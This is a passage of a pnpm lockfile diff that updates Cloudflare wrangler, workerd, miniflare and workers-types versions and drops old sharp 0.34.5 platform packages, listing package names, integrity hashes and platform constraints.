4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)) wrangler: - specifier: 4.118.0 - version: 4.118.0(@cloudflare/workers-types@5.20260730.1) + specifier: 4.129.0 + version: 4.129.0(@cloudflare/workers-types@5.20260905.1) packages: @@ -608,22 +605,16 @@ packages: '@vitest/snapshot': ^4.1.0 vitest: ^4.1.0 - '@cloudflare/workerd-darwin-64@1.20260701.1': - resolution: {integrity: sha512-Zd9Y1bah6DwwBN2RW8vJohffQrIUazb8UXnqSNecOxM+jJLhUuvv5IOG8dbHcV83TyZAubea6gsQXo2yH1lDdw==} - engines: {node: '>=16'} - cpu: [x64] - os: [darwin] - '@cloudflare/workerd-darwin-64@1.20260730.1': resolution: {integrity: sha512-+MBHmPaiTe2KajryW0T24rZvWFxb41hD3d8anNzQqHzft6vSEb18+sp0znSwxgij7ApPhSM1+vhkNg4f3YMguA==} engines: {node: '>=16'} cpu: [x64] os: [darwin] - '@cloudflare/workerd-darwin-arm64@1.20260701.1': - resolution: {integrity: sha512-yBLsjS1qCWqFyCY37qRUrYfzHHvMGvjh8zRKJ6MvUivYDhkZTzqduppK38FoqYvayLJ5KbcxH7zo5rkxGqbsaA==} + '@cloudflare/workerd-darwin-64@1.20260903.1': + resolution: {integrity: sha512-FG+4mGxAXhKiL/1temH42alevIkumtYXNidhTa//3yULpzux6APw5UNVocI/vCQ1yG1YOEZRfbVy8lyuipM9MQ==} engines: {node: '>=16'} - cpu: [arm64] + cpu: [x64] os: [darwin] '@cloudflare/workerd-darwin-arm64@1.20260730.1': @@ -632,11 +623,11 @@ packages: cpu: [arm64] os: [darwin] - '@cloudflare/workerd-linux-64@1.20260701.1': - resolution: {integrity: sha512-vMfqSIMfoo4xmZXEuUVqLpSFS921YKjiR9q7kDXPi6Vld1PK74UHg9LZuBavT2KSyemHUCTpj9y/4JSYOEyQbQ==} + '@cloudflare/workerd-darwin-arm64@1.20260903.1': + resolution: {integrity: sha512-o241VefnjG8eG+kGap5CjgV4zOT5UaAmS3OR1VZCpNj7vkXGxvp9KftKvtQgcCsIqJKaKx+7Xd7xq0L1DjkfPQ==} engines: {node: '>=16'} - cpu: [x64] - os: [linux] + cpu: [arm64] + os: [darwin] '@cloudflare/workerd-linux-64@1.20260730.1': resolution: {integrity: sha512-ouyPOSMbiKPeSwUJUvxtMcxGAXs2J4aPE4T5ABIYX5ClcQx5j5bbHTmnqOQEY8sAuLTPjH7dY+iB6UI5ISlwwA==} @@ -644,10 +635,10 @@ packages: cpu: [x64] os: [linux] - '@cloudflare/workerd-linux-arm64@1.20260701.1': - resolution: {integrity: sha512-HRfwbKU2pK44V2NhoM0+iH0JJSj7nQ9Wv13ifIiGYCmTtDL8/zKtEhX7kQ3D4Vy/Cpjhttl0FkfqXj1aqLDPPg==} + '@cloudflare/workerd-linux-64@1.20260903.1': + resolution: {integrity: sha512-/VEvvtQ/XKf6HlBbg6FbvpwcpfYUcx6Fv6RkASY8DyEmUyuJ8rc7Qxil83ClRFoBzz/GY0BV94UZ6F+wers/hg==} engines: {node: '>=16'} - cpu: [arm64] + cpu: [x64] os: [linux] '@cloudflare/workerd-linux-arm64@1.20260730.1': @@ -656,11 +647,11 @@ packages: cpu: [arm64] os: [linux] - '@cloudflare/workerd-windows-64@1.20260701.1': - resolution: {integrity: sha512-ngxCiIN9s/fM2o1IBMD0o1/mcXrv2NJVdyznh51UH8sQuvrTrXvV2nM0Uj/qU2wMwF6prgNBcdcd7AZeZGiBQA==} + '@cloudflare/workerd-linux-arm64@1.20260903.1': + resolution: {integrity: sha512-OWhihGC6KoTXF4u2C1AonfpgXeM4/7p/1IXuALqXESmFUpLLP5gZhRzjSk/gWW+mrCZDfSrvnjifl+lRqselbA==} engines: {node: '>=16'} - cpu: [x64] - os: [win32] + cpu: [arm64] + os: [linux] '@cloudflare/workerd-windows-64@1.20260730.1': resolution: {integrity: sha512-27fAN+vUECW1oYVc1KOcHYpkL8COM2Uxtxql7TL595kxbjoqS5yckw7NLz7bTf2pALFCZWjqXDjZGJ/xbG4ZKQ==} @@ -668,11 +659,17 @@ packages: cpu: [x64] os: [win32] + '@cloudflare/workerd-windows-64@1.20260903.1': + resolution: {integrity: sha512-soPMF9/aMHlHKK7M0vq5HrRRicPbnZO1F6ZZ7JWN8EltxWJU5L7CEq7CxjO878DzyPx7gYvqBFy3SVgdZKZjMQ==} + engines: {node: '>=16'} + cpu: [x64] + os: [win32] + '@cloudflare/workers-types@4.20260702.1': resolution: {integrity: sha512-mOhf5TUEB1m2vPrxtqoIGfz0fUC9xyxRDx5gWHy5s+OCo6dcV+g7wI1R7gYCMFohhqF/2y2xeKVwMwCJjfn/WA==} - '@cloudflare/workers-types@5.20260730.1': - resolution: {integrity: sha512-3e1cBXcPTwXBk2ur0CfxZKQKL6X7vUZlOn1R7VYU0zZVJcSKFcq1AoOZM+ps0LuL0uTAxdcLg+qwXrBXVu+UuQ==} + '@cloudflare/workers-types@5.20260905.1': + resolution: {integrity: sha512-ebDpVTgrnee245IRBTazyfjfmZas+HJehZyVQkKmUozsBN8RzvXXMI0XjjcT2rQjw+0USewfEGGLYiHO+TL0Sg==} '@colors/colors@1.5.0': resolution: {integrity: sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==} @@ -1044,24 +1041,12 @@ packages: resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} engines: {node: '>=18'} - '@img/sharp-darwin-arm64@0.34.5': - resolution: {integrity: sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [arm64] - os: [darwin] - '@img/sharp-darwin-arm64@0.35.2': resolution: {integrity: sha512-eEieHsMksAW4IiO5NzauESRl2D2qz3J/kwUxUrSfV06A93eEaRfMpHXyUb1mAqrR7i8U9A0GRqE9pjn6u1Jjpg==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [darwin] - '@img/sharp-darwin-x64@0.34.5': - resolution: {integrity: sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [x64] - os: [darwin] - '@img/sharp-darwin-x64@0.35.2': resolution: {integrity: sha512-BaktuGPCeHJMARpodR8jK4uKiZrPAy9WrfQW0sdI37clracq8Bp01AYS3SZgi5FS/y5twa9t4+LIuuxQjqRrWw==} engines: {node: '>=20.9.0'} @@ -1073,129 +1058,64 @@ packages: engines: {node: '>=20.9.0'} os: [freebsd] - '@img/sharp-libvips-darwin-arm64@1.2.4': - resolution: {integrity: sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==} - cpu: [arm64] - os: [darwin] - '@img/sharp-libvips-darwin-arm64@1.3.1': resolution: {integrity: sha512-4V/M3roRMTYjiwZY9IOVQOE8OyeCxFAkYmyZDrZl51uOKjibm3oeEJ4WAmLxutAfzFbC9jqUiPs2gbnGflH+7g==} cpu: [arm64] os: [darwin] - '@img/sharp-libvips-darwin-x64@1.2.4': - resolution: {integrity: sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==} - cpu: [x64] - os: [darwin] - '@img/sharp-libvips-darwin-x64@1.3.1': resolution: {integrity: sha512-c0/DxItpJv2+dGhgycJBBgotdqruGYDvA79drdh0MD1dFpy7JzJ/PlXwi1H4rFf0eTy8tgbI91aHDnZIceY3jQ==} cpu: [x64] os: [darwin] - '@img/sharp-libvips-linux-arm64@1.2.4': - resolution: {integrity: sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==} - cpu: [arm64] - os: [linux] - libc: [glibc] - '@img/sharp-libvips-linux-arm64@1.3.1': resolution: {integrity: sha512-JznefmcK9j1JKPz8AkQDh89kjojubyfOasWBPKfzMIhPwsgDy9evpE/naJTXXXmghS1iFwR8u/kTwh/I2/+GCw==} cpu: [arm64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-arm@1.2.4': - resolution: {integrity: sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==} - cpu: [arm] - os: [linux] - libc: [glibc] - '@img/sharp-libvips-linux-arm@1.3.1': resolution: {integrity: sha512-aGGy9aWzXgHBG7HNyQPWorZthlp7+x6fDRoPAQbGO3ThcttuTyKIx3NuSHb6zb4gBNq6/yNn9f1cy9nFKS/Vmg==} cpu: [arm] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-ppc64@1.2.4': - resolution: {integrity: sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==} - cpu: [ppc64] - os: [linux] - libc: [glibc] - '@img/sharp-libvips-linux-ppc64@1.3.1': resolution: {integrity: sha512-1EkwGNCZk6iWNCMWqrvdJ+r1j0PT1zIz60CNPhYnJlK/zyeWqlsPZIe+ocBVqPF8k/Ssee/NCk+tE9Ryrko6ng==} cpu: [ppc64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-riscv64@1.2.4': - resolution: {integrity: sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==} - cpu: [riscv64] - os: [linux] - libc: [glibc] - '@img/sharp-libvips-linux-riscv64@1.3.1': resolution: {integrity: sha512-Ilays+w2bXdnxzxtQdmXR62u8o8GYa3eL4+Gr+1KiE4xperMZUslRaVPJwwPkzlHEjGfXAfRVAa/7CYCtSqsBw==} cpu: [riscv64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-s390x@1.2.4': - resolution: {integrity: sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==} - cpu: [s390x] - os: [linux] - libc: [glibc] - '@img/sharp-libvips-linux-s390x@1.3.1': resolution: {integrity: sha512-VfBwVHQTbRoj4XlpA/KLZ7ltgMpz+4WSejFzQ+GnoImjo1PtEJ59QB2qR1xQEeRPYIkNrPIm2L4cICMvz4C2ew==} cpu: [s390x] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-x64@1.2.4': - resolution: {integrity: sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==} - cpu: [x64] - os: [linux] - libc: [glibc] - '@img/sharp-libvips-linux-x64@1.3.1': resolution: {integrity: sha512-+c8ukgwU62DS54nCAjw7keOfHUkmr0B5QHEdcOqRnodF/MNXJbVI8Eopoj4B/0H8Asr65I+A4Amrn7a85/md6A==} cpu: [x64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linuxmusl-arm64@1.2.4': - resolution: {integrity: sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==} - cpu: [arm64] - os: [linux] - libc: [musl] - '@img/sharp-libvips-linuxmusl-arm64@1.3.1': resolution: {integrity: sha512-qlKb/pwbkAi1WMsJrYHk7CuDrd12s27U2QnRhFYUoJNrRCmkosMTttuRFat/DDB3IlDm5qE1TJgZ4JDnHX8Ldw==} cpu: [arm64] os: [linux] libc: [musl] - '@img/sharp-libvips-linuxmusl-x64@1.2.4': - resolution: {integrity: sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==} - cpu: [x64] - os: [linux] - libc: [musl] - '@img/sharp-libvips-linuxmusl-x64@1.3.1': resolution: {integrity: sha512-yO21HwoUVLN8Qa+/SBjQLMYwBWAVJjeGPNe+hc0OUeMeifEtJqu5a1c4HayE1nNpDih9y3/KkoltfkDodmKAlg==} cpu: [x64] os: [linux] libc: [musl] - '@img/sharp-linux-arm64@0.34.5': - resolution: {integrity: sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [arm64] - os: [linux] - libc: [glibc] - '@img/sharp-linux-arm64@0.35.2': resolution: {integrity: sha512-af12Pnd0ZGu2HfP8NayB0kk6eC/lrfbQE6HlR4jD+34wdJ1Vw9TF6TMn6ZvffT+WgqVsl0hRbmNvz2u/23VmwA==} engines: {node: '>=20.9.0'} @@ -1203,13 +1123,6 @@ packages: os: [linux] libc: [glibc] - '@img/sharp-linux-arm@0.34.5': - resolution: {integrity: sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [arm] - os: [linux] - libc: [glibc] - '@img/sharp-linux-arm@0.35.2': resolution: {integrity: sha512-SE4kzF2mepn6z+6E7L6lsV8FzuLL6IPQdyX8ZiwROAG/G8td+hP/m7FsFPwidtrF19gvajuC9l6TxAVcsA4S7A==} engines: {node: '>=20.9.0'} @@ -1217,13 +1130,6 @@ packages: os: [linux] libc: [glibc] - '@img/sharp-linux-ppc64@0.34.5': - resolution: {integrity: sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [ppc64] - os: [linux] - libc: [glibc] - '@img/sharp-linux-ppc64@0.35.2': resolution: {integrity: sha512-hYSBm7zcNtDCozCxQHYZJiu63b/bXsgRZuOxCIBZsStMM9Vap47iFHdbX4kCvQsblPB/k+clhELpdQJHQLSHvg==} engines: {node: '>=20.9.0'} @@ -1231,13 +1137,6 @@ packages: os: [linux] libc: [glibc] - '@img/sharp-linux-riscv64@0.34.5': - resolution: {integrity: sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [riscv64] - os: [linux] - libc: [glibc] - '@img/sharp-linux-riscv64@0.35.2': resolution: {integrity: sha512-qQt0Kc13+Hoan/Awq/qMSQw3L+RI1NCRPgD5cUJ/1WSSmIoysLOc72jlRM3E0OHN9Yr313jgeQ2T+zW+F03QFA==} engines: {node: '>=20.9.0'} @@ -1245,13 +1144,6 @@ packages: os: [linux] libc: [glibc] - '@img/sharp-linux-s390x@0.34.5': - resolution: {integrity: sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [s390x] - os: [linux] - libc: [glibc] - '@img/sharp-linux-s390x@0.35.2': resolution: {integrity: sha512-E4fLLfRPzDLlEeDaTzI98OFLcv++WL5ChLLMwPoVd0CIoZQqupBSNbOisPL5am9XsbQ9T84+iiMpUvbFtkunbA==} engines: {node: '>=20.9.0'} @@ -1259,13 +1151,6 @@ packages: os: [linux] libc: [glibc] - '@img/sharp-linux-x64@0.34.5': - resolution: {integrity: sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [x64] - os: [linux] - libc: [glibc] - '@img/sharp-linux-x64@0.35.2': resolution: {integrity: sha512-gi0zFJJRLswfCZmHtJdikXPOc5u7qamSOS3NHedLqLd4W8Q0NqjdBr6TTRIgsfFjqfTsHFgdfvJ9LwqSgcHiAA==} engines: {node: '>=20.9.0'} @@ -1273,13 +1158,6 @@ packages: os: [linux] libc: [glibc] - '@img/sharp-linuxmusl-arm64@0.34.5': - resolution: {integrity: sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [arm64] - os: [linux] - libc: [musl] - '@img/sharp-linuxmusl-arm64@0.35.2': resolution: {integrity: sha512-siWbOW1u6HFnFLrp0waKyW7VEf7jYvcDWdrXEFa8AkdAQgEvuu5Fz8/Y70w9EeqAdwDtfU012BhEHHaDqvQNzg==} engines: {node: '>=20.9.0'} @@ -1287,13 +1165,6 @@ packages: os: [linux] libc: [musl] - '@img/sharp-linuxmusl-x64@0.34.5': - resolution: {integrity: sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [x64] - os: [linux] - libc: [musl] - '@img/sharp-linuxmusl-x64@0.35.2': resolution: {integrity: sha512-YBqMMcjDi4QGYiSn4vNOYBhmlC4z5AXqkOUUqI2e0AFA4urNv4ESgOgwNl3K+4etQhha0twXlzeF20bbULm9Yg==} engines: {node: '>=20.9.0'} @@ -1301,11 +1172,6 @@ packages: os: [linux] libc: [musl] - '@img/sharp-wasm32@0.34.5': - resolution: {integrity: sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [wasm32] - '@img/sharp-wasm32@0.35.2': resolution: {integrity: sha512-Mrv4JQNYVQ94xH+jzZ9r+gowleN8mv2FTgKT+PI6bx5C0G8TdNYndu161pg2i7uoBwxy2ImPMHrJOM2LZef7Bw==} engines: {node: '>=20.9.0'} @@ -1315,36 +1181,18 @@ packages: engines: {node: '>=20.9.0'} cpu: [wasm32] - '@img/sharp-win32-arm64@0.34.5': - resolution: {integrity: sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [arm64] - os: [win32] - '@img/sharp-win32-arm64@0.35.2': resolution: {integrity: sha512-BiVRYc/t6/Vl3e1hBx0hugG4oN9Pydf4fgMSpxTQJmwGUg/YoXTWHiFeRymHfCZzifxu4F4rpk/I67D0LQ20wQ==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [win32] - '@img/sharp-win32-ia32@0.34.5': - resolution: {integrity: sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [ia32] - os: [win32] - '@img/sharp-win32-ia32@0.35.2': resolution: {integrity: sha512-YYEhx9PImCC7T0tI8JDMi4DB9LwLCXCU5OWNYEXAxh5Q1ShKkyC6byxzoBJ3gEFDnH2lQckWuDe70G7mB2XJog==} engines: {node: ^20.9.0} cpu: [ia32] os: [win32] - '@img/sharp-win32-x64@0.34.5': - resolution: {integrity: sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - cpu: [x64] - os: [win32] - '@img/sharp-win32-x64@0.35.2': resolution: {integrity: sha512-imoOyBcoM/iiUr4J6VPpCNjPnjvP/Gks95898yB8YqoGGYmHYbOyCuNv9FMhFgtaiHFGbHW8bxKqRV6VjtXThQ==} engines: {node: '>=20.9.0'} @@ -2901,15 +2749,14 @@ packages: resolution: {integrity: sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==} engines: {node: '>=4'} - miniflare@4.20260701.0: - resolution: {integrity: sha512-L6eAAi6IKtyb/7J6L+YsH2vb1yBrJWKRXI293JYDiMl70+6nncdAgigex58w6WBd+CwvdMsqOyNyGs95Op5gWQ==} - engines: {node: '>=22.0.0'} - hasBin: true - miniflare@5.20260730.0-alpha: resolution: {integrity: sha512-8/dspSXDshP6nSkCpjKO7BYc2qZoYSXm7iM+QxY7qJyJpAB3onnQSaiu0cvKJlfuMGwULl55hG69FJCcCMXU1Q==} engines: {node: '>=22.0.0'} + miniflare@5.20260903.0-alpha: + resolution: {integrity: sha512-VCZIFxOqFXeibRBJWwTlppqbv2lkeO10IX3QBRGK9j1QiMAfH/OSsCvbjp1MslBMhVZmy2VTRlVaVnsKnbDp6A==} + engines: {node: '>=22.0.0'} + minimatch@10.2.5: resolution: {integrity: sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==} engines: {node: 18 || 20 || >=22} @@ -3305,10 +3152,6 @@ packages: setprototypeof@1.2.0: resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} - sharp@0.34.5: - resolution: {integrity: sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} - sharp@0.35.2: resolution: {integrity: sha512-FVtFjtBCMiJS6yb5CX7Sop45WFMpeGw6oRKuJnXYgf/f1ms/D7LE/ZUSNxnW7rZ/dbslQWYkoqFHGPaDBtaK4w==} engines: {node: '>=20.9.0'} @@ -3741,32 +3584,32 @@ packages: engines: {node: '>=8'} hasBin: true - workerd@1.20260701.1: - resolution: {integrity: sha512-uF813NG09JwNRRUfJ0zBomyTslSPM810dMj9LVvkQ7RAkLrQLzAlPU8Xh/3dIqZDo2bfd7tChbf2PtqLRARRJQ==} + workerd@1.20260730.1: + resolution: {integrity: sha512-zmfNIjwYSWFY5chGBOjWtH3xAE7p97FTC6vR4Ep98290ho6AeAR/NVcBD274YCLEUYzqm8yxdtZlxMybU8a3jA==} engines: {node: '>=16'} hasBin: true - workerd@1.20260730.1: - resolution: {integrity: sha512-zmfNIjwYSWFY5chGBOjWtH3xAE7p97FTC6vR4Ep98290ho6AeAR/NVcBD274YCLEUYzqm8yxdtZlxMybU8a3jA==} + workerd@1.20260903.1: + resolution: {integrity: sha512-xJzt2RnCy7ulOULmZy/4JLbEPg1uisp9lVoOUsEz+UVhDsTmrSQ0rBXZMGcXuhr2HCGKs89bg8nnbbzvBSX1Ig==} engines: {node: '>=16'} hasBin: true - wrangler@4.107.0: - resolution: {integrity: sha512-fw69ThymNitZ0oIEBU2yNeq3kK59UKz/jyA3udwRrQIAIsxX57q5qLOpPTN7qc5t8n9pnUeofe0uxtMuhQZW8w==} + wrangler@4.118.0: + resolution: {integrity: sha512-9pkBw/b8zWqGx2S+oLhgHMR1M/4VOE8SynUFABnGWiSFGlcOQ4xiI/B71Xf66RYP2xzngU37IQFPtUruij3lYw==} engines: {node: '>=22.0.0'} hasBin: true peerDependencies: - '@cloudflare/workers-types': ^4.20260701.1 + '@cloudflare/workers-types': ^5.20260730.1 peerDependenciesMeta: '@cloudflare/workers-types': optional: true - wrangler@4.118.0: - resolution: {integrity: sha512-9pkBw/b8zWqGx2S+oLhgHMR1M/4VOE8SynUFABnGWiSFGlcOQ4xiI/B71Xf66RYP2xzngU37IQFPtUruij3lYw==} + wrangler@4.129.0: + resolution: {integrity: sha512-PGPvs9UPoFrwxT0VogpESSZGvZIctAuTK3wGsLLPHtHsSgS85kNdvtpa2d14UzG8gwLWD64XUGFPGG9tOXG9VQ==} engines: {node: '>=22.0.0'} hasBin: true peerDependencies: - '@cloudflare/workers-types': ^5.20260730.1 + '@cloudflare/workers-types': ^5.20260903.1 peerDependenciesMeta: '@cloudflare/workers-types': optional: true @@ -4255,32 +4098,32 @@ snapshots: '@cloudflare/kv-asset-handler@0.5.0': {} - '@cloudflare/unenv-preset@2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260701.1)': + '@cloudflare/unenv-preset@2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1)': dependencies: unenv: 2.0.0-rc.24 optionalDependencies: - workerd: 1.20260701.1 + workerd: 1.20260730.1 - '@cloudflare/unenv-preset@2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1)': + '@cloudflare/unenv-preset@2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260903.1)': dependencies: unenv: 2.0.0-rc.24 optionalDependencies: - workerd: 1.20260730.1 + workerd: 1.20260903.1 - '@cloudflare/vite-plugin@1.50.0(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))(wrangler@4.118.0(@cloudflare/workers-types@5.20260730.1))': + '@cloudflare/vite-plugin@1.50.0(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))(wrangler@4.129.0(@cloudflare/workers-types@5.20260905.1))': dependencies: '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260730.1) miniflare: 5.20260730.0-alpha unenv: 2.0.0-rc.24 vite: 6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0) workerd: 1.20260730.1 - wrangler: 4.118.0(@cloudflare/workers-types@5.20260730.1) + wrangler: 4.129.0(@cloudflare/workers-types@5.20260905.1) ws: 8.21.0 transitivePeerDependencies: - bufferutil - utf-8-validate - '@cloudflare/vitest-pool-workers@0.20.1(@cloudflare/workers-types@5.20260730.1)(@vitest/runner@4.1.9)(@vitest/snapshot@4.1.9)(vitest@4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)))': + '@cloudflare/vitest-pool-workers@0.20.1(@cloudflare/workers-types@5.20260905.1)(@vitest/runner@4.1.9)(@vitest/snapshot@4.1.9)(vitest@4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)))': dependencies: '@vitest/runner': 4.1.9 '@vitest/snapshot': 4.1.9 @@ -4288,46 +4131,46 @@ snapshots: esbuild: 0.28.1 miniflare: 5.20260730.0-alpha vitest: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)) - wrangler: 4.118.0(@cloudflare/workers-types@5.20260730.1) + wrangler: 4.118.0(@cloudflare/workers-types@5.20260905.1) zod: 4.4.3 transitivePeerDependencies: - '@cloudflare/workers-types' - bufferutil - utf-8-validate - '@cloudflare/workerd-darwin-64@1.20260701.1': - optional: true - '@cloudflare/workerd-darwin-64@1.20260730.1': optional: true - '@cloudflare/workerd-darwin-arm64@1.20260701.1': + '@cloudflare/workerd-darwin-64@1.20260903.1': optional: true '@cloudflare/workerd-darwin-arm64@1.20260730.1': optional: true - '@cloudflare/workerd-linux-64@1.20260701.1': + '@cloudflare/workerd-darwin-arm64@1.20260903.1': optional: true '@cloudflare/workerd-linux-64@1.20260730.1': optional: true - '@cloudflare/workerd-linux-arm64@1.20260701.1': + '@cloudflare/workerd-linux-64@1.20260903.1': optional: true '@cloudflare/workerd-linux-arm64@1.20260730.1': optional: true - '@cloudflare/workerd-windows-64@1.20260701.1': + '@cloudflare/workerd-linux-arm64@1.20260903.1': optional: true '@cloudflare/workerd-windows-64@1.20260730.1': optional: true + '@cloudflare/workerd-windows-64@1.20260903.1': + optional: true + '@cloudflare/workers-types@4.20260702.1': {} - '@cloudflare/workers-types@5.20260730.1': {} + '@cloudflare/workers-types@5.20260905.1': {} '@colors/colors@1.5.0': optional: true @@ -4535,21 +4378,11 @@ snapshots: '@img/colour@1.1.0': {} - '@img/sharp-darwin-arm64@0.34.5': - optionalDependencies: - '@img/sharp-libvips-darwin-arm64': 1.2.4 - optional: true - '@img/sharp-darwin-arm64@0.35.2': optionalDependencies: '@img/sharp-libvips-darwin-arm64': 1.3.1 optional: true - '@img/sharp-darwin-x64@0.34.5': - optionalDependencies: - '@img/sharp-libvips-darwin-x64': 1.2.4 - optional: true - 